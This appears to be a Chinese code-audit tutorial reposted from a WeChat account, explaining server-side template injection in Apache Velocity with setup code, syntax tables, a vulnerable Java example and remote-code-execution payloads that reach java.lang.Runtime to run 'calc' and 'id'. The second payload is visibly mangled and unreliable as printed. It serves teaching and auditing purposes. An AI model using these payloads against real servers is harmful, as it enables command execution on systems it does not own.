视频教程:
https://space.bilibili.com/482887446?spm_id_from=333.1007.0.0
主要内容:
1、SSTI模板注入
2、Velocity语法
3、Velocity注入示例
4、payload讲解
进群私信就行了,之前放的二维码一直有光改进去
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI模板注入
SSTI 就是服务器端模板注入(Server-Side Template Injection)当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
Velocity开发案例
<dependencies>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity-engine-core</artifactId>
<version>2.2</version>
</dependency>
</dependencies>
在resources 目录下创建模板文件
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
hello , ${name} !
</body>
</html>
编写java代码:
public static void main(String[] args) throws IOException {
// 1、设置velocity资源加载器
Properties prop = new Properties();
prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
// 2、初始化velocity引擎
Velocity.init(prop);
// 3、创建velocity容器
VelocityContext context = new VelocityContext();
context.put("name", "Hello Velocity");
// 4、加载velocity模板
Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
// 5、合并数据到模板
FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
tpl.merge(context, fw);
// 6、释放资源
fw.close();
}
Velocity基础语法
引用
引用语句就是对引擎上下文对象中的属性进行操作。
1)变量引用
语法 |
描述 |
$变量名 |
若上下文中没有对应的变量,则输出字符串"$变量名" |
${变量名} |
若上下文中没有对应的变量,则输出字符串"${变量名}" |
$!变量名 |
若上下文中没有对应的变量,则输出空字符串"" |
$!{变量名} |
若上下文中没有对应的变量,则输出空字符串"" |
2)属性引用
语法 |
描述 |
$变量名.属性 |
若上下文中没有对应的变量,则输出字符串"$变量名.属性" |
${变量名.属性} |
若上下文中没有对应的变量,则输出字符串"${变量名.属性}" |
$!变量名.属性 |
若上下文中没有对应的变量,则输出字符串"" |
$!{变量名.属性} |
若上下文中没有对应的变量,则输出字符串"" |
3)方法引用
方法引用实际就是指方法调用操作,方法的返回值将输出到最终结果中。
语法 |
描述 |
$变量名.方法([入参1[, 入参2]*]?) |
若上下文中没有对应的变量,则输出字符串"$变量名.方法([入参1[, 入参2]*]?" |
${变量名.方法([入参1[, 入参2]*]?)} |
若上下文中没有对应的变量,则输出字符串"${变量名.方法([入参1[, 入参2]*]?)}" |
$!变量名.方法([入参1[, 入参2]*]?) |
若上下文中没有对应的变量,则输出字符串"" |
$!{变量名.方法([入参1[, 入参2]*]?)} |
若上下文中没有对应的变量,则输出字符串"" |
指令
"#"用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro等;
如:
<img src="$info.imgs" border=0>
<img src="noPhoto.jpg">
模板注入
示例代码:
// String username = "外部攻击者可控输入";
String username = "#set($e="e")n" +
"$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")";
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "test");
ctx.put("phone", "123456789");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
// 将模板字符串和上下文对象传递给Velocity引擎进行解析和渲染
Velocity.evaluate(ctx, out, "test", templateString);
// 输出velocity渲染结果
System.out.println(out);
payload:
#set($e="e")n" + "$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
# 带回显的payload
set($s='')##
set($runtime = $x.class.forName('java.lang.Runtime'))##
set($char = $x.class.forName('java.lang.Character'))##
set($str = $x.class.forName('java.lang.String'))##
set($cmd=$rt.getRuntime().exec('id'))##
ex.waitFor()
set($out=$cmd.getInputStream())##
$i in foreach(
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
原文始发于微信公众号(安全随心录):第七课-系统学习代码审计:SSTI模板注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论